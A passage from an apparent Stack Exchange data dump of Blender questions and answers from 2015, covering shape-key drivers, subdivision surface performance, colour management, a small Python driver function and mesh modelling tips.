and the switch to the Dope Sheet and find it there)&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Enter the RNA path to the sphere 1 key value into the Path field. You can get this value by right clicking on the Sphere1Key field in the&#xA;shapekeys panel, and choosing Copy Data Path.&lt;/li&gt;&#xA;&lt;li&gt;The value for the Value field in the Driver panel should now update&#xA;when you scroll the timeline back and forth.&lt;/li&gt;&#xA;&lt;li&gt;If the Sphere2 shapekey doesn't respond, you may need to click the&#xA; Update Dependencies button in the driver panel. You should then see&#xA; the Sphere2 shapekey copy the Sphere1 shapekey keyframed values in&#xA; synchronization.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KSntQ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: you may notice in the gif that the numbers in the Value field are not changing while the animation runs. This is simply a UI display issue, the actual values are changing, as evidenced by the shape change in Sphere.001. If you hover the cursor over those fields you'll see them update&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-04-09T03:29:01.410" LastActivityDate="2015-04-09T03:29:01.410" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28280" PostTypeId="2" ParentId="28276" CreationDate="2015-04-09T03:17:04.637" Score="11" Body="&lt;ol&gt;&#xA;&lt;li&gt;On the first frame add an empty at the same location as your object.  &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; &gt; &lt;em&gt;Cursor to Selected&lt;/em&gt;, then add the empty with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &gt; &lt;em&gt;Empty&lt;/em&gt;.   &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/26109/2217&quot;&gt;Parent&lt;/a&gt; the object or objects to the new empty (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;).  &lt;/li&gt;&#xA;&lt;li&gt;Rotate the empty by 90° along the Z axis.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2015-04-09T05:53:57.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28281" PostTypeId="2" ParentId="28254" CreationDate="2015-04-09T03:47:27.230" Score="4" Body="&lt;p&gt;As Todd mentioned, drivers can be used to achieve that. Yet I would prefer to create an additional object which will be a master control. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally &lt;strong&gt;I prefer an Empty for that&lt;/strong&gt; (called Master in my scene). Also, here are the objects: a cylinder with a shape key that makes it taller, and a cube with a shape key that makes it wider:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iPzrS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select one of the objects, hover over one of its &lt;strong&gt;shape key's Value&lt;/strong&gt; and press &lt;kbd&gt;D&lt;/kbd&gt;, that adds the driver to it.&lt;/li&gt;&#xA;&lt;li&gt;Go to graph editor and press &lt;kbd&gt;N&lt;/kbd&gt; to bring up the properties panel. Also, select &lt;strong&gt;Drivers&lt;/strong&gt; at the bottom.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m9Pvp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Select your shape key at the left side. In the properties panel go to Drivers tab. If you don't have a variable there right away (&lt;code&gt;var&lt;/code&gt; in my case), then click &lt;strong&gt;Add Variable&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wwPhJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;It can be easier to operate with the size of your master Empty in this case. Under the &lt;code&gt;var&lt;/code&gt; select &lt;strong&gt;Transform Channel&lt;/strong&gt; in the dropdown menu, select &lt;strong&gt;Master&lt;/strong&gt; in Ob/Bone field and select Z Scale in Type (you can use Master's location or rotation instead, choose the corresponding entry in this menu then).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now you need to &lt;strong&gt;write an expression&lt;/strong&gt; under &lt;strong&gt;Expr&lt;/strong&gt;. I wrote &lt;code&gt;var-1&lt;/code&gt; in my example, because I wanted my shape key value to be &lt;code&gt;0&lt;/code&gt; when the &lt;strong&gt;scale&lt;/strong&gt; of my Master empty is &lt;code&gt;1&lt;/code&gt;. You can write whichever you need.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: You can write&lt;/em&gt; &lt;code&gt;3*var-1&lt;/code&gt; &lt;em&gt;(or any other multiplier) to make your shape keys affected more. I use it to scale when I create music visuals, because the curves baked from sound (which I apply to Master empties) are not editable by default.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4dEVr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;6&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Now try &lt;strong&gt;scaling your empty&lt;/strong&gt;. The object should react.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now go to &lt;strong&gt;your object&lt;/strong&gt; (cube in my case), right click on the shape key Value &gt; &lt;strong&gt;Copy Driver&lt;/strong&gt;. Go to your &lt;strong&gt;another object&lt;/strong&gt;, right click the Value &gt; &lt;strong&gt;Paste driver&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Now both objects should react&lt;/strong&gt; to the change of the scale of the Master empty. If the second one doesn't, you may go to its driver properties in graph editor and click &lt;strong&gt;Update Dependencies&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now just go ahead and &lt;strong&gt;animate your Master empty's scale&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="2324" LastEditorUserId="2324" LastEditDate="2015-04-10T08:53:34.547" LastActivityDate="2015-04-10T08:53:34.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28283" PostTypeId="2" ParentId="28222" CreationDate="2015-04-09T06:33:30.967" Score="7" Body="&lt;p&gt;&lt;strong&gt;Short Answer&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;You are exaggerating with the subdivision.&lt;/p&gt;&#xA;&lt;p&gt;Using large values on for subsurf or adding mutliple instances of the modifier will stress your system in no time.&lt;/p&gt;&#xA;&lt;p&gt;It is better to use proper modeling and efficient topology, and keep the subdivision to low values. Less than 3 levels of subdivision should be enough for most projects.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Long answer&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;In this case you are using multiple subsurf modifiers on some of the objects.&lt;/p&gt;&#xA;&lt;p&gt;Doing that is not only going to cripple the performance of your computer but can even make it crash.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rtrLk.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;What exaclty is the is the issue with subsurf then?&lt;/h1&gt;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://www.blender.org/manual/modeling/modifiers/generate/subsurf.html?highlight=subdivision%20surface&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender manual&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Subdivision Surface is a method of subdividing the faces of a mesh to give a smooth appearance, to enable modeling of complex smooth surfaces with simple, low-vertex meshes. This allows high resolution mesh modeling without the need to save and maintain huge amounts of data and gives a smooth organic look to the object.&lt;/p&gt;&#xA;&lt;p&gt;This process creates virtual geometry that is generated non-destructively without modifying the original mesh&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Creating virtual subdivisions on your geometry saves you the trouble of  creating smooth curved surfaces, but when you do the final render blender has to compute all of that &amp;quot;virtual&amp;quot; geometry as if it was real anyway.&lt;/p&gt;&#xA;&lt;p&gt;With each one of the modifiers on the stack your geometry is getting subdivided: out of every quad at least 4 virtual quads will be created. A second (or third) subsurf modifier will subdivide it even further, creating a very large number of vertices in no time!&lt;/p&gt;&#xA;&lt;h1&gt;So what can you do to prevent this?&lt;/h1&gt;&#xA;&lt;p&gt;For most models it is likely you can get decent results with proper modeling and adequate topology, and using only one subsurf modifier with low values.&lt;/p&gt;&#xA;&lt;p&gt;If the edges on your model are not round enough, consider reworking your mesh to have a greater level of detail, or &lt;em&gt;&lt;strong&gt;cautiously&lt;/strong&gt;&lt;/em&gt; increase the number of subdivisions in a single modifier. You should hardly ever need more than level 2 or 3:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VgApN.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;What is important to keep in mind is that &lt;em&gt;&lt;strong&gt;for every subdivision level the number of polygons increases exponentially&lt;/strong&gt;&lt;/em&gt;: It's very easy to end up with a number of vertices that exceeds what your computer can handle.&lt;/p&gt;&#xA;&lt;p&gt;(&lt;a href=&quot;https://www.blender.org/manual/modeling/modifiers/generate/subsurf.html?highlight=subdivision#performance-considerations&quot; rel=&quot;nofollow noreferrer&quot;&gt;Again from the manual&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Great levels of Subsurf demand more video memory, and a faster graphics card. Blender could potentially crash if your level of Subsurf surpasses your system memory.&lt;/p&gt;&#xA;&lt;p&gt;Note about potential crashes: Be aware that the Subsurf Modifier will need more and more memory at higher levels of subsurf, and the more dense your base mesh, the more memory you will need. In 32 bit systems, Blender could potentially crash with malloc errors, when you surpass 2~3 GiB of memory used. This is not a Blender bug. Blender, when paired with a 64 bit system, could use 64 GiB of memory, thus reducing the chances of malloc() errors.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;To get an idea of how many vertices are created with every subdivision level take a look at this charts:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SYSWk.png&quot; alt=&quot;glkj&quot; /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8Cb19.png&quot; alt=&quot;garg&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;(&lt;em&gt;click on the images to enlarge&lt;/em&gt;)&lt;/p&gt;&#xA;&lt;h1&gt;But what if I still need high levels or more than one Subsurf modifer in the stack?&lt;/h1&gt;&#xA;&lt;p&gt;Sometimes you do need to use a subsurf modifier to create denser geometry for other modifiers to work, and then you need to have a second subsurf modifier to smooth out the result. For example when using a displace modifier:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3dVdb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3dVdb.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In those cases you might want to consider applying the modifiers and/or decimating or retopologizing your mesh, all in the interest of having a number of vertices that is reasonable enough, so that your system can handle it.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditorDisplayName="user1853" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2017-07-09T18:30:06.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28284" PostTypeId="1" CreationDate="2015-04-09T07:02:31.000" Score="10" ViewCount="2928" Body="&lt;p&gt;So this is what occurs the left is original right is when its saved &lt;img src=&quot;https://i.stack.imgur.com/GdqnM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;knowing tiff saves it raw, I did it and was able to open it in Photoshop the same way(correct) it was in blender but just like blender when I tried to save it in Photoshop the colour keeps changing&lt;/p&gt;&#xA;" OwnerUserId="7822" LastEditorUserId="12" LastEditDate="2015-04-27T03:59:22.673" LastActivityDate="2020-01-25T23:46:59.860" Title="Colour shift when viewing render outside of blender" Tags="&lt;rendering&gt;&lt;image&gt;&lt;color-management&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28286" PostTypeId="2" ParentId="28269" CreationDate="2015-04-09T07:47:17.247" Score="7" Body="&lt;p&gt;Inside script editor define your own function and register it for driver use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def driver_fce():&#xA;    scn = bpy.context.scene&#xA;    # You can use here:&#xA;    scn.frame_current&#xA;    scn.frame_start&#xA;    scn.frame_end&#xA;    scn.render.fps&#xA;    # etc..&#xA;&#xA;    return 0    # some value&#xA;&#xA;# Register it to driver namespace under name 'driver_fce':&#xA;bpy.app.driver_namespace['driver_fce'] = driver_fce&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use it like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3gCbB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that such drivers on node properties do not update correctly and its better to use frame change callback handler instead in that case.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-04-09T09:57:05.517" LastActivityDate="2015-04-09T09:57:05.517" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28288" PostTypeId="1" AcceptedAnswerId="28289" CreationDate="2015-04-09T11:25:18.027" Score="-5" ViewCount="76" Body="&lt;p&gt;I didnt use Blender for a couple Month what have i missed ? some cool addons good features ? tell me.&lt;/p&gt;&#xA;" OwnerUserId="5980" LastActivityDate="2015-04-09T11:30:58.927" Title="What new stuff came out in the last 2-3 Month" Tags="&lt;modeling&gt;&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-04-09T12:49:59.317" ContentLicense="CC BY-SA 3.0" />
  <row Id="28289" PostTypeId="2" ParentId="28288" CreationDate="2015-04-09T11:30:58.927" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes&lt;/a&gt;&#xA;You can read this documentation! All the new stuff since 2.57a that has been release is visible here! If you are interested in new addons, look for new resources in blenderartists.org;)&lt;/p&gt;&#xA;" OwnerUserId="8363" LastActivityDate="2015-04-09T11:30:58.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28290" PostTypeId="1" AcceptedAnswerId="28325" CreationDate="2015-04-09T11:49:18.997" Score="7" ViewCount="4286" Body="&lt;p&gt;I tried to mix the &lt;em&gt;Glossy&lt;/em&gt; and &lt;em&gt;Translucent&lt;/em&gt; shaders to create the enamel material, but the effect wasn't good. Have you got any ideas how to set up the nodes to make it look realistic?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/elsrT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2020-06-10T01:16:08.783" Title="How to create a realistic tooth enamel material?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28291" PostTypeId="2" ParentId="28205" CreationDate="2015-04-09T11:58:06.023" Score="2" Body="&lt;p&gt;I have resolved this. The issue was the &lt;code&gt;Non-Color data&lt;/code&gt; option for the Image Texture node as suggested by Mr Zak. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My mistake was setting this in the properties panel for node rather than on the node itself (apparently they do not mean the same thing - though I have to confess I do not understand the difference).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grateful to everyone for the help.&lt;/p&gt;&#xA;" OwnerUserId="13661" LastActivityDate="2015-04-09T11:58:06.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28293" PostTypeId="1" AcceptedAnswerId="28301" CreationDate="2015-04-09T13:23:28.103" Score="1" ViewCount="319" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iLMFR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the simplest possible method for making a 3-D hollow pipe/duct out of two cubes in Blender?  One example of what I'd like to achieve is shown above (I would like to do this many times and change the dimensions of the joined bodies).  This question has been asked before.  I have spent the last couple of days googling and trying to understand explanations, but either I get lost or nothing has worked for me.  It seems like many of the available explanations are designed for 2-D and I can't extend them to my setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More detail:&#xA;I have to use two cubes of different size to make a pipe/duct.  I will have to do this many, many times, so would prefer to find a fast method.  I can't eyeball/estimate anything about the fit or size or orientation of the cubes because I'm trying to make a geometry for use in a simulation.  My problem is that when I join the cubes, I have a surface crossing the pipe/duct at the join (in the figure below, this surface is oriented the same way as the grid).  I have tried using the &quot;knife project&quot; tool, but I don't have vertices in the right place to use it and can't figure out how to get them.  In one online resource, someone mentioned a &quot;Union&quot; addon, but it doesn't appear in my list of add-ons.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a simple way to do this?  All I need to do is get rid of one surface of each cube and then join the cubes.&lt;/p&gt;&#xA;" OwnerUserId="13701" LastEditorUserId="13701" LastEditDate="2015-04-09T16:18:50.267" LastActivityDate="2015-04-09T16:35:01.597" Title="Making a hollow, 3-D pipe/duct: after joining two cubes, how can I delete the surface inside the pipe/duct to make it hollow?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;geometry&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="28294" PostTypeId="1" CreationDate="2015-04-09T14:04:45.480" Score="4" ViewCount="405" Body="&lt;p&gt;I am creating this fps game in the bge and since I was planning on having incredibly large terrain, I was planning on implementing some code for adding level of detail to the terrain mesh. I know people usually just replace the mesh with a premodeled mesh with fewer polygonsbut my issue is adding different lods on the same mesh. I was thinking of assigning a vertex group to the mesh based around the players location and using code to move the vertex group when the player moves and anything outside the vertex group would have a decimate modifier. However I am not sure how practical this is. Are there better, faster ways to do this? Thanx in advance for the answers.&lt;/p&gt;&#xA;" OwnerUserId="7656" LastActivityDate="2015-05-01T12:08:25.363" Title="Help with Level of Detail coding" Tags="&lt;python&gt;&lt;mesh&gt;&lt;game-engine&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28295" PostTypeId="1" CreationDate="2015-04-09T14:24:00.370" Score="4" ViewCount="1419" Body="&lt;p&gt;So I have a &quot;twisted&quot; cube that I rendered an image from, as shown below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VXP2K.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if there is a way to smooth out the diagonal lines on the cubes faces.&lt;/p&gt;&#xA;" OwnerUserId="13052" LastActivityDate="2015-04-26T12:33:09.823" Title="Unwanted lines showing up on rendered cube" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="28297" PostTypeId="1" CreationDate="2015-04-03T09:55:32.473" Score="0" ViewCount="266" Body="&lt;p&gt;Hello I'm pretty new to Blender, and I need some help with applying premade textures to models I've downloaded from blendswap. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So If I download this model for example: &lt;a href=&quot;http://www.blendswap.com/blends/view/78361&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.blendswap.com/blends/view/78361&lt;/a&gt;&#xA;and import it to blender, the model added doesn't have the texture. All the models that I import look like this: &lt;a href=&quot;https://i.imgur.com/RhjGkse.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://i.imgur.com/RhjGkse.png&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do i go about adding the texture that the author already made? &lt;/p&gt;&#xA;" OwnerDisplayName="Aizzle" LastActivityDate="2017-01-17T02:42:49.187" Title="Applying Textures in Blender" Tags="&lt;texturing&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28298" PostTypeId="2" ParentId="28297" CreationDate="2015-04-08T17:28:19.600" Score="1" Body="&lt;p&gt;What do you mean by import? It is already a blend file, so you can only append or link data from the file into another file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are appending some parts, make sure you are selecting everything you need and, in that case, that you change your render engine to cycles before rendering (it will render grey otherwise).&#xA;It should render correctly, that model doesn't have much for textures, the most noticeable is the chair color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the viewport, everything will look grey if you are on 'solid mode'. See more on that here: &lt;a href=&quot;http://www.blender.org/manual/editors/3dview/shading.html&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/manual/editors/3dview/shading.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="844" OwnerDisplayName="brita_" LastActivityDate="2015-04-08T17:28:19.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28300" PostTypeId="1" AcceptedAnswerId="28302" CreationDate="2015-04-09T15:45:20.610" Score="4" ViewCount="538" Body="&lt;p&gt;Newbie here. I'm looking for a way to record or save the autogenerated python in the info editor (shown below)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cYGD5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware of the way to copy the required lines and then save it as a python file through the text editor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is I believe these lines of code are persistent only for a session and are not found in a saved .blend file. If there is a way to store/export these lines of code, it would make the job of re-creating the scene through code very easy. TIA.&lt;/p&gt;&#xA;" OwnerUserId="13515" LastActivityDate="2015-04-14T08:50:34.580" Title="Is there a way to auto-save generated python code in Blender?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28301" PostTypeId="2" ParentId="28293" CreationDate="2015-04-09T16:35:01.597" Score="2" Body="&lt;p&gt;First of all, I don't know if I quite understood the question correctly, but  what I got out of it tells me you have a shape like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IglYa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And that you want to make sure that the intersection there is clean, and not screwy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be accomplished with Loop-Cut-an-Slide tool. It can be accessed in edit mode by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;R&lt;/kbd&gt;. when you place it on the upper cube, it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PYQBO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't bother sliding it, just click and place it there for now. Next you're gonna want to turn on vertex snapping, it can be found on the bottom bar of your 3D view-port. Click the magnet to turn on snapping, then click the grid icon just right of it and change it to vertex, portrayed by a grey cube with two white studs on it &lt;img src=&quot;https://i.stack.imgur.com/rqpd5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;once this is enabled you can select the four vertices of the loop you added and hit &lt;kbd&gt;G&lt;/kbd&gt; + &lt;kbd&gt;Z&lt;/kbd&gt; to &lt;strong&gt;G&lt;/strong&gt;rab them down on the &lt;strong&gt;Z&lt;/strong&gt; axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now, if you mouse over one of the vertices of your bottom cube until an orange circle appears around it, then click to finish placement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dDJTg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now all you have to do is remove those inner four vertices to get a clean cut.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you add two loop-cuts on the bottom cube and hit&lt;kbd&gt;S&lt;/kbd&gt; + &lt;kbd&gt;X&lt;/kbd&gt;&#xA; to &lt;strong&gt;S&lt;/strong&gt;cale them on the &lt;strong&gt;X&lt;/strong&gt; axis and then snap them to the new bottom of your top cube. Now remove doubles and your gold!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HxroR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also do this by simply grabbing the four vertices that you don't like and &lt;kbd&gt;G&lt;/kbd&gt; + &lt;kbd&gt;Z&lt;/kbd&gt; to &lt;strong&gt;G&lt;/strong&gt;rab them up on the &lt;strong&gt;Z&lt;/strong&gt; axis until they snap with the top of the top cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for the super long answer. :D hope this helps, Ciao!&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-04-09T16:35:01.597" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="28302" PostTypeId="2" ParentId="28300" CreationDate="2015-04-09T16:48:38.827" Score="3" Body="&lt;p&gt;&lt;strong&gt;An Addon&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There have been some attempts (notably: &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?254117-Macros-recorder&quot; rel=&quot;nofollow&quot;&gt;Macros Recorder&lt;/a&gt; )&#xA;to make an addon that can record the commands to a textfile. But nothing built in like you might be familiar with in programs like ZBrush, which lets you record a session from start-to-finish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The info log panel itself&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll find a lot of repeated commands, and some ommited commands, and some commands that won't work when purely executed from a Text Editor. So even if you get all the output saved, unfortunately, I don't think it will do what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Copy them to Text Editor&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can store a massive amount of data in &lt;code&gt;bpy.data.texts&lt;/code&gt;, which you can access from Blender Text Editor. When saved that data will persist in the .blend until you manually delete it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the mouse cursor inside the Info panel and when you have the desired lines selected:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;copy them to clipboard ( &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;c&lt;/kbd&gt; )&lt;/li&gt;&#xA;&lt;li&gt;open Text Editor, press &lt;kbd&gt;+&lt;/kbd&gt; on the UI to create new Text File &lt;/li&gt;&#xA;&lt;li&gt;Paste ( &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;v&lt;/kbd&gt; ) &lt;/li&gt;&#xA;&lt;li&gt;Help your future self by giving the text file a good name.&lt;/li&gt;&#xA;&lt;li&gt;save the .blend&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If all you want to do is get an idea about the operators you called during the modelling process, then I think those steps are the literal answer to your question. I don't recall seeing an addon that does that, &lt;a href=&quot;https://gist.github.com/zeffii/b0910b95ad92df070c98&quot; rel=&quot;nofollow&quot;&gt;so I made one&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-04-14T08:50:34.580" LastActivityDate="2015-04-14T08:50:34.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28303" PostTypeId="1" AcceptedAnswerId="28305" CreationDate="2015-04-09T17:40:25.477" Score="8" ViewCount="924" Body="&lt;p&gt;I made my first sculpt model and I used a mirror modifier. But then I applied the mirror modifier, because I got a strange edge on the mirror line in sculpt mode.&#xA;Now I modeled it, but it still mirrors the model, what in the beginning was good, but sometime I want to do asymmetrical things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What did I wrong?&#xA;Many thanks for your help!!&#xA;Happy modeling :D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P7Em5.jpg&quot; alt=&quot;model + modifiers&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13706" LastActivityDate="2015-04-09T17:48:29.523" Title="Mirror-Modifier applied, but still mirroring" Tags="&lt;mirror&gt;&lt;sculpting&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
